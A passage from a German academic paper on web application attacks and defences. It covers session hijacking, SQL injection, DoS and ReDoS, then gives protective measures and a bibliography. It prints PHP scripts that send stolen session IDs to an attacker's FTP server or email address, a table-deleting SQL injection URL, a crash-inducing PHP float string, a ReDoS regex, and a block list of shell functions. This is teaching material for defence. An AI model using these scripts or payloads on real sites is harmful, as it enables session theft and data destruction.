session_id(); if(empty($sid)) {@session_start(); $sid = $_COOKIE[“PHPSESSID”];} $mode = FTP_ASCII; // Verbindung mit einem FTP-Server des Hackers herstellen $ftp_server = "ftp.beispiel.server.com"; $connection_id = @ftp_connect($ftp_server); Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 30 // Mit Benutzerdaten des Hackers anmelden $benutzername = "loginname"; $passwort = "loginpasswort"; $login_result = @ftp_login($connection_id, $benutzername, $passwort); // Alle bisher gestohlenen Informationen vom Server des Angreifers herunterladen @ftp_get($connection_id,"./ganzeliste.txt","./Temp/gestohleneinformation.txt",$mode); // Neue gestohlene Information lokal in die Liste aller gestohlenen Informationen integrieren und speichern $f=@fopen("./ganzeliste.txt", "a+"); $file = @file("./ganzeliste.txt"); if($file[0]=="") {@fputs($f,$sid);} else {@fputs($f,"\n".$sid);} @fclose($f); // Komplette Liste gestohlener Informationen auf Server des Angreifers hochladen @ftp_put($connection_id, "./Temp/gestohleneinformation.txt", "./ganzeliste.txt", $mode); // Vom FTP-Protokoll abmelden @ftp_quit($connection_id); // Die lokale erstellte Textdatei, in der alle gestohlenen Informationen stecken vom Server löschen @unlink('./ganzeliste.txt'); … Abb 6.1: PHP-Skript um Session-IDs aller Besucher zu sammeln Der Angreifer könnte nun einfach die empfangenen Session-IDs verwenden, indem er eine der Session-IDs in seinen „PHPSESSID“-Cookie kopiert und die Website aufruft. Schon wäre er bei einer Anmeldeseite, die Sessions nicht ausreichend prüft, mit dem Namen des Opfers angemeldet. Wie man im obigen Code sieht, würde der Angreifer sich jedoch selbst angreifbar machen, da er die Anmeldedaten des FTP-Kontos seiner eigenen Website angeben müsste, daher würden sich andere Angriffswege besser eignen. So könnte er zum Beispiel auch einfach die neue entwendete Session-ID in einer E-Mail an sich selbst verfassen lassen, sofern die Ein- Abb. 6.2: Fremde Session-ID in Cookie kopieren stellungen des Webservers das erlauben würden. Eine E-Mail wäre mit folgendem PHP-Code realisierbar. <?php // Datum und Uhrzeit ermitteln $timestamp = time(); $datum = date("d.m.Y",$timestamp); $uhrzeit = date("H:i",$timestamp); // Absendername und Absenderadresse festlegen - kann beliebig gewählt werden, da es nicht auf // Korrektheit überprüft wird! $extra = "From: Session-ID-Skript <[email protected]>"; // Abzuschickende Nachricht festlegen $sid = session_id(); if(empty($sid)) {@session_start(); $sid = session_id();} $nachricht = "SID: ".$sid; // E-Mail unterdrückt (ohne Fehlermeldungen) an “[email protected]” abschicken @mail("[email protected]", "XSS-Opfer am ".$datum." um ".$uhrzeit." Uhr", $nachricht, $extra); ?> Abb. 6.3: PHP-Skript um Session-IDs aller Besucher durch Versand an eine E-Mail zu sammeln Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 31 Um Session-Hijacking zu erschweren, gibt es eine Vielzahl von Präventivmaßnahmen, unter anderem sollten alle XSS-Sicherheitslücken möglichst geschlossen werden und eine LoginSession korrekt aufgebaut werden. Es reicht nicht, eine Session zu erlauben, wenn die Daten von einem Cookie korrekt und die Session-ID im Cookie dieselbe ist. Es müssen mehrere Besucherdaten miteinander kombiniert werden, um Angreifer zu hindern, die Session eines Besuchers zu stehlen. Unter anderem kann man den User-Agent (da es unwahrscheinlich ist, dass der Besucher beispielsweise seinen Browser wechselt, während er auf der Seite ist), die IP-Adresse und andere Besucherdaten überprüfen lassen, um eine Session-Übernahme einem Hacker zu erschweren, da er auch diese Daten fälschen müsste. Die Schlüssellänge sollte außerdem geeignet gewählt werden und nicht leicht zu erraten sein und Sessions sollten nicht in einem Link in der URL weitergegeben werden können. Es wäre auch noch sinnvoll, die Session sicherheitshalber nach einer gewissen Zeit ablaufen zu lassen, falls der Besucher keine Aktion auf der Website durchführt. (Vgl. Kübeck 2011, 152-154) Beispiel einer Login-Prüfung, in der Session-Hijacking durch Besucherdaten erschwert wird <?php // Jede Sitzung wird nach 10 Minuten ungültig und der Benutzer muss sich neu anmelden. session_cache_expire(10); session_start(); … // Individuelle Besucherdaten werden schon vor der Überprüfung ermittelt und in einer Variable gespeichert. $besucherdaten = md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']); if (!isset($_SESSION["username"])) { if(user==true && password==true) { // Bei einer neuen Sitzung wird sofort IP-Adresse und User-Agent (Besucherdaten) gespeichert. $_SESSION["username"] = $besucherdaten; // Der neu angemeldete Benutzer wird automatisch zu einem gesicherten Bereich der Site weitergeleitet. header("Location: ./safearea01.php");}} if($_SESSION["username"]!=$besucherdaten) { // Wenn es nicht der erwartete Nutzer ist, wird die Session sofort aufgehoben und um die Eingabe des // Passworts gebeten, andernfalls wird beispielsweise zu einem gesicherten Bereich weitergeleitet. session_destroy();} else{ header("Location: ./safearea01.php"); } … Abb 6.4: Beispiel einer Login-Überprüfung mit der Skriptsprache PHP Über die PHP-Superglobal-Variable „$_SERVER“ lassen sich viele Besucherdaten abfragen, unter anderem, aus welcher Website der Besucher kommt oder welches Betriebssystem, welche Bildschirmauflösung etc. der Besucher hat. Solche Daten können in der Überprüfung verwendet werden. Welche Vielzahl an Browser- und Serverdaten alleine durch das Besuchen einer Webseite abgefragt werden können, lässt sich bei Privatsphäretests wie unter http://www.maxa-tools.com/cookie-privacy.php gut veranschaulichen. Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 32 3.8 SQL-Injection SQL-Injection-Schwachstellen zählen neben XSS-Schwachstellen zu den häufigsten. SQLSicherheitslücken entstehen ähnlich wie XSS-Schwachstellen durch ungenügende Überprüfung und Maskierung gewisser Zeichen, die es erlauben, weitere Befehlsketten einzuschleusen (zu „injizieren“) und ursprüngliche Befehlsketten zu manipulieren. Da es sich bei SQLInjection um das Ausnutzen dieser Schwachstelle bei SQL-Datenbanken handelt, sollten Zeichen, die bei SQL-Datenbanken verwendet werden, maskiert werden. Zum Beispiel erlaubt das Zeichen „+“, Strings nach der Java-Notation miteinander zu verbinden. (Vgl. Kübeck 2011, 107-112; Zalewski 2013, 334-335; Wassermann 2007, 351-355; Esser/Kunz 2008, 121123) Beispiel einer SQL-Injection: Um die Übersicht zu bewahren, werden ausschließlich die betreffenden SQL-Befehl im Beispiel gezeigt und nicht die (Weiter-)Verarbeitung der SQL-Befehle mittels PHP. Ein Angreifer untersucht den Link einer Webanwendung. URL-Adresse: SQL-Befehl: http://webserver/cgi-bin/find.cgi?count=15 "select * from product where id=" + count … Abb 7.1: Analyse einer URL und Annahme einer SQL-Befehlskette Die in der URL-ID angegebene Zahl beschreibt eine Zeile in der Tabelle „product“, in der alle Zellen sozusagen „ausgewählt“ werden. Alle Informationen in dieser Zeile werden weiterverarbeitet, beispielsweise ausgegeben oder überprüft. (Vgl. Kübeck 2011, 107) Wenn die URL modifiziert bzw. für die URL-ID keine Zahl, sondern SQL-Befehle eingegeben werden und anschließend die veränderte URL aufgerufen wird, entsteht eine andere Befehlskette. URL-Adresse: SQL-Befehl: http://webserver/cgi-bin/find.cgi?count=0;delete from product -select * from product where id=0;delete from product -- Abb 7.2: Eingabe einer SQL-Befehlskette, welche die Datenbank manipuliert Sollte der Datenbankbenutzer die ausreichenden Rechte haben, würde somit die komplettte Tabelle „product“ unwiderruflich gelöscht werden, da mit der Zeile 0 alle Inhalte der Tabelle ausgewählt werden. Damit dieser Löschbefehl nicht ungültig geparst wird, da direkt danach ein weiterer Befehl folgen könnte und die SQL-Syntax demnach falsch wäre, wird mit „--“ Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 33 ein SQL-Kommentar begonnen. Somit werden alle folgenden Befehle in dieser Befehlskette ignoriert! (Vgl. Kübeck 2011, 108-109; Wassermann 2007, 353-355) Das Einschleusen und Manipulieren von SQL-Ausführungen kann natürlich auch bei der Prüfung anderer Datentypen wie Strings (= Zeichenketten) geschehen. Die einzige Voraussetzung für eine SQL-Injection ist, dass der Angreifer sich mit SQL-Datenbanken auskennen muss. Mit dem Einschleusen von Code können bei der SQL-Injection ebenfalls Passwörter gestohlen werden und jegliche Daten in der Datenbank ausgelesen werden. Es ist daher ganz einfach möglich mit SQL-Injection eine Website zu übernehmen. (Vgl. Kübeck 2011, 108109) Daher ist eine richtige Validierung der Benutzereingaben, genauso wie bei einer XSSSchwachstelle, unbedingt notwendig. PHP bietet viele Escape-Funktionen an, mit denen die Eingabe maskiert werden kann, zum Beispiel „mysql_real_escape_string()“. Das Überprüfen der Benutzereingaben auf ihre gedachten Datentypen ist nicht schwer zu bewerkstelligen. Durch „Integer.parseInt(id)“ würde zum Beispiel der übergebene Wert des obigen Beispiels ausschließlich eine Zahl sein, da der Wert vorher zu diesem Datentyp umgewandelt wird. Ein Angriff wäre nutzlos, da die Befehle als Zeichenketten eingestuft und zu einer Zahl konvertiert werden würden, welche die Webanwendung weiterzuverarbeiten weiß. Bei Zeichenketten würde das Konvertieren zu Strings jedoch überflüssig sein, da die Befehle ebenfalls als Strings vorliegen. Daher müssten Zeichenketten anders geprüft und maskiert werden. Eine Methode wäre, alle SQL-Abfragen in Anführungszeichen zu notieren, doch das bietet noch keinen ausreichenden Schutz. Durch sogenannte „Prepared-Statements“ können alle SQLInjection-Schwachstellen am wirksamsten entschärft werden, indem Benutzereingaben ausschließlich als Parameter an das Prepared-Statement übergeben werden. (Vgl. Kübeck 2011, 113-116; Wassermann 2007, 367-370; Esser/Kunz 2008, 139-143) PreparedStatement stmt = connection.prepareStatement("select * from product" + "where id=? and name=?"); stmt.setInteger(1, number); stmt.setString(2, name); ergebnis = stmt.executeQuery(); Abb 7.2: Eingaben durch Prepared-Statements vorbereiten und in Variablen speichern Prepared-Statements bereiten die Benutzereingaben sozusagen vor, indem sie klarstellen, dass diese nicht als Befehl verwendet werden können, sondern ausschließlich in ihrem gedachten Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 34 Datentyp zu verarbeiten sind. Der einzige Nachteil an Prepared-Statements ist, dass sie mit zunehmender Anzahl der Variablen unübersichtlich werden können. (Vgl. Kübeck 2011, 114115) 3.9 DoS-Angriffe Einer der schlimmsten Angriffe auf Web-Anwendungen wird als Denial-of-Service-Angriff bezeichnet, da dieser eine Website komplett lahmlegen und Zugriffe von Besuchern und/oder Administratoren unmöglich machen kann. DoS-Schwachstellen werden oftmals von Erpressern ausgenutzt. Eine Web-Anwendung wird dabei eine Zeit lang lahmgelegt, und der Websitebetreiber wird aufgefordert einer gewissen Forderung nachzugehen, z.B. Geld zu überweisen. Andernfalls würden die Angriffe fortbestehen, bis die Besucherzahl drastisch gesunken ist. (Vgl. Kübeck 2011, 175; Zalewski 2013, 333) Eine noch gefährlichere Variante eines DoS-Angriffs sind verteilte DoS-Angriffe, sogenannte DDoS-Angriffe (Distributed Denial of Service). Bei dieser Form greift nicht ein einzelner Computer eine Webanwendung an, sondern parallel ganze Rechnernetzwerke von tausenden Computern, die weltweit verteilt sind. Nicht selten werden Botnetzwerke für derartige Angriffe missbraucht. Die Eigentümer von Zombie-Rechnern wissen und bemerken meistens nicht, dass ihr Rechner für solche Zwecke missbraucht wird. DDoS-Angriffe sind aus mehreren Gründen äußerst gefährlich. Einerseits sind Zombies überall weltweit verteilt und behindern sich dadurch nicht gegenseitig, weil sie etwa ihre Netzwerkbandbreite untereinander teilen müssen. Erst beim Computer der Website kommen alle Anfragen zusammen und dort kann die Netzwerkbelastung so weit steigen, dass der Webserver seinen Zugriff komplett verweigert. Andererseits kann man Zombies sehr schwer aufhalten, weil jede IP-Adresse einzeln gesperrt werden müsste. Wenn Segmente von einer IP-Adresse gesperrt wären, würde das unschuldige Besucher aus diesem Land auch betreffen, die dann die Website auch nicht öffnen könnten. (Vgl. Kübeck 2011, 175-176) DoS-Angriffe zielen immer auf das Gleiche ab. Es wird versucht eine Endlosschleife auszuführen, die Ressourcen des Webservers verbraucht oder seine Ausführungszeit enorm verlangsamt. Natürlich werden durch Zeitüberschreitungen der Skripte Endlosschleifen normalerweise beendet, aber wenn beispielsweise bei einem DDoS-Angriff zahlreiche Endlosschleif Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 35 fen parallel laufen und immer wieder neu gestartet werden, helfen auch Zeitüberschreitungen nicht. Oft ist es gar nicht notwendig, besondere Angriffstechniken wie XSS oder SQL-Injection anzuwenden, da manche Endlosschleifen sogar von legitimen Benutzern ohne böse Absicht ausgelöst werden können. Außerdem können Endlosschleifen auch bei Rekursionen ohne definierte Abbruchbedingungen entstehen. Endlosschleifen entstehen meistens durch eine unbedachte Programmierung der Skripte oder der jeweiligen Skriptsprache. So war es bis 6. Jänner 2011 mit älteren PHP-Versionen möglich, einen Webserver durch einen Konvertierungsfehler bei der Umwandlung bestimmter Dezimalzahlen mit vielen Stellen in Fließkommawerte außer Gefecht zu setzen. (Vgl. Kübeck 2011, 177-180; Syska) ... 1.) $f=(float)"2.2250738585072011e-308"; echo $f; 2.) $f=floatval("2.2250738585072011e-308"); echo $f; 3.) $f="2.2250738585072011e-308"; echo (float)$f; ... Abb 8: Beispiele zur PHP-Schwachstelle Alle diese Konvertierungsmöglichkeiten führten bei Zielrechnern zu einer ArbeitsspeicherAuslastung von 100 % und in Folge zum Reaktionsverlust des Computers bzw. Webservers. So gesehen hat lange Zeit in der Skriptsprache PHP ein DoS-Angriff nur aus der Umkonvertierung einer Dezimalzahl in eine Gleitkommazahl bestehen können. (Vgl. Syska) Demnach gibt es keinen wirklichen Schutz vor DoS-Angriffen. Das genaue Prüfen von Schleifen und Rekursionen ist genauso wichtig, wie das sofortige Installieren von Softwareaktualisierungen. 3.9.1 ReDoS-Angriffe Eine weitere Variante von DoS-Angriffen wird als ReDoS-Angriff (Regular-Expression-DoSAngriff) bezeichnet. Reguläre Ausdrücke werden in vielen Programmier- und Skriptsprachen verwendet. Ihr Einsatzgebiet in einer Web-Anwendung richtet sich meistens auf das Überprüfen und Maskieren von Benutzereingaben bzw. das schnelle Filtern von Informationen aus einer großen Datenmenge. Genau dort setzen auch Angreifer an, denn leider kann es bei sehr Wie können Angriffe auf Web-Anwendungen erfolgen? Seite 36 komplexen und langen regulären Ausdrücken auch zu sehr langen Rechenzeiten kommen, da alle Möglichkeiten ausprobiert werden. (Vgl. Kübeck 2011, 180-182) Regulärer Ausdruck: a*[ab]*0 Benutzereingabe: aaaaaaaaaaaaaaaaaaaaX Abb. 9.1: Benutzereingabe durch einen Regulären Ausdruck prüfen Wird die obige Benutzereingabe mit dem genannten regulären Ausdruck überprüft, passiert Folgendes: Zunächst wird der Buchstabe „a“ in der Benutzereingabe abgesucht, wobei „a*“ bedeutet, dass der Buchstabe unendlich oft oder gar nicht vorkommt. Beim Absuchen wird auf das Zeichen „X“ gestoßen, was offensichtlich nicht zu diesem Muster passt. Obwohl in der Benutzereingabe dieses „X“ steckt, muss trotzdem bei der Auswertung jede gültige Kombination für den Ausdruck „a*“ gefolgt von „[ab]*“ (das Zeichen „a“ oder „b“ kann unendlich oft oder gar nicht vorkommen) durchprobiert werden, um sicherzustellen, dass die Benutzereingabe tatsächlich nicht dem regulären Ausdruck entspricht, weil die Maschine den Ausdruck als eine mögliche andere Kombination des ganzen regulären Ausdrucks interpretiert. Was für das menschliche Auge sofort ersichtlich ist, wird mit einem regulären Ausdruck aufwendig bis zum Ende ausprobiert. Dieses Verfahren erhöht logischerweise die Verarbeitungszeit enorm, tatsächlich sogar nahezu potenziell. Je länger die Benutzereingabe oder der reguläre Ausdruck ist, desto länger würde auch die Verarbeitungszeit der Maschine (in diesem Fall der Webserver) werden. Nicht nur wegen des Ressourcenverbrauchs, sondern auch, weil es laut Turing unmöglich ist, festzustellen, ob eine Maschine noch arbeitet oder bereits aufgehört hat (Halteproblem), kann ein DoS-Angriff durch Ausnutzen von regulären Ausdrücken stattfinden. (Vgl. Kübeck 2011, 182-184) Da es reguläre Ausdrücke auch in JavaScript gibt, kann folgendes Beispiel diese Annahmen bei älteren Browsern veranschaulichen und bestätigen. <script language="JavaScript"> function freeze() {new RegExp(/^(a+)+$/).exec("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaab"); }</script> … <a href="http://www.google.at" onClick="freeze();">Test</a> Abb 9.2: Beispiel einer Überprüfung durch einem Regulären Ausdruck in Javascript Würde man diesen JavaScript-Code-Schnipsel im Browser ausführen, so würde der Browser sofort (kurzzeitig) einfrieren und nicht reagieren. (Vgl. Kübeck 2011, 183-184) Wie kann man Web-Anwendungen schützen? Seite 37 So wie es keinen Schutz vor DoS-Angriffen gibt, gibt es auch keinen vor ReDoS-Angriffen. Es existiert derzeit keine Möglichkeit, einen regulären Ausdruck auf seine Verwundbarkeit zu analysieren ohne ihn auszuführen. Nichtsdestotrotz gibt es sogenannte „Regex-Fuzzer“, welche einen regulären Ausdruck mit zufälligen Werten testen und die Verarbeitungszeit messen. Diese sind aber keine tatsächliche Lösung, da sie nicht alle möglichen Eingabewerte testen können, da dies eine unendliche Laufzeit des Fuzzer-Werkzeugs bedeuten würde. Sofern nicht auf reguläre Ausdrücke vollkommen verzichtet wird, sollten einige Ratschläge befolgt werden. Reguläre Ausdrücke sollten so einfach wie möglich gehalten werden, da es das Aufspüren von Schwachstellen erleichtert. Außerdem sollten lange reguläre Ausdrücke wenn möglich aufgeteilt werden. (Vgl. Kübeck 2011, 184-186) 4. Wie kann man Web-Anwendungen schützen? Es wurden viele Angriffsszenarien gezeigt und erklärt. Unter anderem wurden auch zu jedem genannten Angriffsweg Vorbeugungsmaßnahmen aufgezeigt, sofern welche existieren. Nur durch das Verstehen derartiger Angriffe können richtige Lösungen entworfen oder gefunden werden. In diesem Kapitel werden die grundlegenden Präventivvorkehrungen noch einmal zusammengefasst. 4.1 Das Konzept der Verteidigungslinien Als Webentwickler sollte schon im Vorhinein davon ausgegangen werden, dass die Sicherheit der Webanwendung irgendwann fehlschlägt bzw. durchbrochen wird. Es sollte daher nicht auf eine Verteidigungslinie zu sehr vertraut werden, sondern es sollten auch weitere Blockaden für den Angreifer eingerichtet werden. So sollte man beispielsweise nicht zu sehr darauf vertrauen, dass die hochgradige Verschlüsselung sensibler Daten wie etwa Passwörter alleine ausreicht, um einen Angreifer unweigerlich vom Infiltrieren der Webanwendung abzuhalten. Würde ein Angreifer eine offen gelassene Schwachstelle wie etwa eine viel zu schlecht realisierte Session-Überprüfung missbrauchen, könnte er sich beispielsweise mit SessionHijacking trotzdem Zugang verschaffen und die erste Verteidigungslinie (Verschlüsselung der Passwörter) umgehen. Kurz gesagt, je mehr Steine auf den Weg gelegt werden, desto schwerer wird es, den Weg zu passieren. Die erste Verteidigungslinie sollte am besten nicht nur ein richtig konfigurierter Webserver, sondern auch eine richtig eingerichtete und im Dauerbetrieb laufende Web Application Firewall sein, weil WAFs vor zahlreichen genannten und weiteren Wie kann man Web-Anwendungen schützen? Seite 38 Angriffen auf Anwendungsebene proaktiv schützen. Weitere Verteidigungslinien können vom Webentwickler frei gewählt werden. (Vgl. Kübeck 2011, 60) Beispiel zur Sicherheit deaktivierter PHP-Funktionen disable_functions = “apache_child_terminate, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, curl_exec, curl_multi_exec, define_syslog_variables, disk_free_space, diskfreespace, dl, error_log, escapeshellarg, escapeshellcmd, exec, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, ini_alter, ini_get_all, ini_restore, link, mysql_pconnect, openlog, passthru, pfsockopen, php_uname, phpinfo, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, set_time_limit, shell_exec, symlink, syslog, system, tmpfile, virtual” Abb. 10: Deaktivierte PHP-Funktionen bei einem Apache-Webserver (Kliewe02) Ein Angreifer sollte zum Beispiel nie die Berechtigung erlangen können, die Shell (Kommandozeilenprogramm des Webservers) mit der Funktion „shell_exec“ bedienen zu können, da diese Zugriff auf das Betriebssystem des Webservers bietet. Um gegen solche Risiken vorzusorgen können gewisse kritische Funktionen in der „php.ini“ mit der Direktive „disable_functions“ abgeschaltet werden. Natürlich sind manche dieser Funktionen für gewisse Projekte und Webanwendungen nicht wegzudenken und einige Funktionen gefährlicher als andere. Diese Liste soll nur als Beispiel dienen. (Vgl. Kliewe) 4.2 Grundlegende Sicherheitsmaßnahmen Manche Sicherheitsmaßnahmen werden weniger beachtet als andere. Ein übersichtlicher Aufbau einer Webanwendung wird aus Zeitgründen oft außer Acht gelassen, obwohl ein auskommentierter und übersichtlicher Code es einem Webadministrator erleichtern kann, Schwachstellen ausfindig zu machen und zu beheben. Angenommen der Ernstfall tritt ein, und es ist offensichtlich, dass eine XSS-Schwachstelle in der Datei index.php steckt. Eine unübersichtliche Programmierweise kann einem Webadministrator etliche Stunden kosten, bis er auf die tatsächliche Schwachstelle stößt und sie ausmerzen kann. Wenn der Code außerdem nicht kommentiert ist, müsste der Admin auch noch nachdenken, wie er gewisse Aspekte realisiert hat und was der Code denn genau macht. Ein aktueller Virenscanner und ein aktuelles Betriebssystem sind sowieso Pflicht. Aktualisierungen der Webserver-Software sollten ebenfalls sofort installiert werden. Es ist auch ratsam, von Benutzern durchgeführte Aktionen richtig mitprotokollieren zu lassen und nach einer bestimmten Zeit zu kontrollieren. Ein Protokoll kann oft auch Auskunft über Angriffe geben. So kann beispielsweise anhand einer fremden und sogar dem Benutzer unbekannten IP-Adresse eines angemeldeten Kontos auf Wie kann man Web-Anwendungen schützen? Seite 39 Session-Hijacking bzw. einer Session-Hijacking-Schwachstelle geschlossen werden. Eine weitere grundlegende Sicherheitsmaßnahme ist es, überall dort, wo Benutzereingaben den Inhalt einer Seite bestimmen, diese Eingaben korrekt zu überprüfen und zu maskieren. Jede von Benutzereingaben abhängige Webseite ist für einen Angreifer eine willkommene Möglichkeit Code einzuschleusen. Durch versteckte Token in Formularen können auch CSRFAngriffe sehr erschwert werden. „Framebusting-Codes“ sollten eingesetzt werden, um wichtige Bereiche wie Anmelde- oder Registrierformulare vor dem Einbinden in externe Websites zu schützen. Wenn möglich sollten keine Skripte für externe Weiterleitungen, die von der Zieladresse abhängig sind, eingesetzt werden oder der Benutzer tatsächlich hingewiesen werden, dass er die Domäne verlässt. Download- und Uploadskripte sollten auf einen einzigen Ordner beschränkt werden bzw. die Pfadangaben „./“ und „../“ sollten geprüft werden, damit es nicht zu Path-Traversal-Schwachstellen kommen kann. Unsichere direkte Objektreferenzen sollten durch indirekte Referenzen ersetzt werden. Alle Passwörter sollten möglichst lang und geeignet gewählt werden. Dabei sind mehrere Zahlen-, Buchstaben- und Sonderzeichenkombinationen ideal. Auf die Korrektheit von clientseitigen lokalen Daten, wie Cookies, sollte nicht vertraut werden, da diese gefälscht werden können. Stattdessen sollte eine geeignete Überprüfung mit Hilfe von serverseitigen Daten (z.B. individuelle Besucherdaten) eingerichtet werden. Diese können zwar auch gefälscht werden, setzen aber sehr gute Kenntnisse und sehr viel Aufwand voraus. Überall dort, wo Code einem Besucher ersichtlich ist, kann Code eingeschleust werden (Injection). Solche Bereiche sollten mit größter Sorgfalt kodiert und auf Eingaben überprüft werden. Das Kontrollieren von Code sollte mehrfach und lange vor der Publizierung stattfinden. Wenn unsichere Skripte zur Testung hochgeladen werden und ein Angreifer auf diese stößt, kann er sie mit Leichtigkeit missbrauchen. Es empfiehlt sich lokal zu testen und nicht online. Während des Schreibens und/oder des Ausbesserns von Code sollte der Gedanke „Wie würde ich angreifen?“ immer im Hinterkopf sein. Ein Webentwickler sollte niemals annehmen seine Webanwendung wäre vor allen Gefahren geschützt, alleine durch das Ausmerzen einer Schwachstelle könnte eine neue und viel gefährlichere entstehen. Ein Webentwickler sollte sich laufend über neue Gefahren informieren. Schließlich sollte trotz all dem immer ein aktuelles Backup bereit stehen, falls trotz aller Vorkehrungen die Website übernommen wird, damit das Projekt nicht verloren geht. Anschließend müsste natürlich das letzte Backup genauestens auf die verantwortliche/n Schwachstelle/n untersucht und die Schwachstelle/n behoben und alle Betroffenen über den Vorfall informiert werden, bevor das Projekt wieder online gehen kann. Abstract Seite 40 Abstract Web-Sicherheit ist ein Thema, das jeden betrifft, denn das Internet ist unerlässlich für die Informationsbeschaffung geworden. Mit jedem Seitenaufruf werden persönliche, individuelle Besucherdaten mit übertragen. Sobald ein/e Benutzer/in sich bei einer Website registriert und einloggt, liegt die Verantwortung dieser Besucherdaten und aller Informationen, die der/die Benutzer/in in der Website preisgibt beim Websitebetreiber. Der Webadministrator hat auch die Aufgabe dafür zu sorgen, dass niemand diese Seiten und Informationen missbrauchen kann, doch immer wieder gibt es Zwischenfälle in denen versierte Programmierer oder unerfahrene Pseudohacker auf Methoden stoßen eine Webanwendung auszuhebeln, an Informationen heranzukommen und Einstellungen auszunutzen, die für sie nicht erreichbar sein dürften. Wie stellen Angreifer das an? Wie könnten Webanwendungen besser vor solchem Missbrauch geschützt werden? Auf diese und weitere Fragen wird bis ins Detail näher eingegangen. Web-Security is a topic which affects everyone, because the internet has become essential for obtaining information. With each page access personal and individual user data are transferred. As soon as a user signs up for and logs into a website, the website operator has the full responsibility about these user data and all information which are submitted by the user. The web admin also has the duty to make sure that nobody can access or abuse these web pages or information, but there are incidents from time to time in which programmers or inexperienced pseudo hackers find methods to trick the web applications and gain access to information or settings which should be unobtainable for them. How does an attacker do this? How could web applications be better protected? These and more questions are dealt with and focused (into detail). Literaturverzeichnis Seite 41 Literaturverzeichnis Printmedien [Esser/Kunz] Esser, Stefan; Kunz, Christopher: PHP-Sicherheit – PHP/MySQLWebanwendungen sicher programmieren, 3., überarbeitete Auflage 2008. Niederlande: dpunkt.verlag, Auflage 2008, ISBN 978-3-89864-535-5 [Kübeck] Sebastian Kübeck: Web-Sicherheit – Wie Sie Ihre Webanwendungen sicher vor Angriffen schützen, 1. Auflage 2011. Hemsbach: mitp, ISBN 978-3-8266-9024-2 [Niemietz] Marcus Niemietz: Clickjacking und UI-Redressing – Vom Klick-Betrug zum Datenklau – ein Leitfaden für Sicherheitsexperten und Webentwickler, 1. Auflage 2012. Paderborn: dpunkt.verlag, ISBN 978-3-89864-796-0 [Wassermann] Tobias Wassermann: Sichere Webanwendungen mit PHP, 1. Auflage 2007. Wien: mitp, ISBN 978-3-8266-1754-6 [Zalewski] Michał Zalewski: Tangled Web – Der Security-Leitfaden für Webentwickler, deutsche Ausgabe erweitert von Mario Heiderich, 1. Auflage 2013. Paderborn: dpunkt.verlag, ISBN 978-3-86490-002-0 Internetquellen [Charles] Kellep Charles – The Types of Hackers: Black Hat, White Hat or a Grey Hat Hacker, Which Type are you? – Examiner.com [Online] http://www.examiner.com/article/the-types-of-hackers-black-hat-white-hat-or-agrey-hat-hacker-which-type-are-you [25.12.2012] [Ewald01] Markus Ewald (27.03.2007) – Hacking und Hackerabwehr WS06/07 Seminar der Universität Karlsruhe – Karlsruher Institut für Technologie (KIT) [Online] http://telematics.tm.kit.edu/publications/Files/252/TM-2007-1.pdf#page=25 [14.10.2012] [Ewald02] Markus Ewald (27.03.2007) – Hacking und Hackerabwehr WS06/07 Seminar der Universität Karlsruhe – Karlsruher Institut für Technologie (KIT) [Online] http://telematics.tm.kit.edu/publications/Files/252/TM-2007-1.pdf#page=30 [14.10.2012] [Gräfer] Nils Gräfer (29.04.2011) – Trojaner - Die schleichende Gefahr im Internet – Das Netzwerk der Autoren [Online] http://suite101.de/article/trojaner---die-schleichende-gefahr-im-internet-a110308 [18.11.2012] [Jellinek] Brigitte Jellinek (2012) – Unsichere direkte Objektreferenzen – Lehrbuch Web-Development [Online] http://web-development.github.com/security/a4-referenz/ [29.12.2012] [Kliewe01] Micheal Kliewe (22.08.2009) – Was ist “Cross Site Request Forgery” (CSRF)? – PHP Gangsta - Der PHP Blog mit Praxisbezug [Online] http://www.phpgangsta.de/was-ist-cross-site-request-forgery-csrf [19.02.2013] [Kliewe02] Micheal Kliewe (14.01.2011) – Gefährliche PHP-Funktionen ausschalten – PHP Gangsta - Der PHP Blog mit Praxisbezug [Online] http://www.phpgangsta.de/gefahrliche-php-funktionen-ausschalten [02.01.2013] Literaturverzeichnis Seite 42 [Kogut] Dariusz Kogut (18.09.2009) – Botnetz – Antispam Wiki – Antispam e.V. [Online] http://www.antispam-ev.de/wiki/Botnetz [14.10.2012] [Munk] Felix Munk – Fachzeitschrift für Datenverarbeitung [Online] http://www.diagramm.net/index.php?id=5455&d=a&i=NuN [18.11.2012] [Patterson] Emily Patterson (23.08.2012) – Scam Alert — Virus Freezes Computers and Demands $200 Fine – Better Business Bureau [Online] http://www.bbb.org/blog/2012/08/scam-alert-virus-freezes-computers-anddemands-200-fine/ [21.02.2013] [Regenfelder] Volker Regenfelder – Computerviren – Rainfelds Informationstechnologie [Online] http://www.rainfields.com/computerviren.htm [13.10.2012] [Schiwek] Frederick Schiwek – Computervirus – Eine Einführung [Online] http://www.computervirus.de [07.10.2012] [Steiner] Christian Steiner (01.07.2002) – Trojaner, Viren, Würmer – Ausbreitungswege und Bekämpfung – Universität Erlangen-Nürnberg - Department of Computer Science 4 at FAU [Online] http://www4.cs.fau.de/Lehre/SS02/PS_KVBK/talks/ausarbeitung-trojaner.pdf [25.12.2012] [Syska] Alexander Rudolf Syska (06.01.2011) – PHP: Patch behebt Floating-PointBug – Golem.de: IT-News für Profis [Online] http://www.golem.de/1101/80529.html [01.01.2013] [Thomaschewski] Jörg Thomaschewski – Internetprogrammierung - 12.7.2 CSRF-Attacken – waghoo e-learning [Online] http://timble.medientechnik-emden.de/jt/Internetprogrammierung/12.7.2.html [27.12.2012] [TrojanBoard01] Peter Zawadzki – Was sind Rootkits – Viren und Trojaner entfernen - kostenlos. [Online] http://www.trojaner-board.de/56634-rootkits.html [04.11.2012] [TrojanBoard02] Peter Zawadzki – Neue Verschlüsselungs-Trojaner 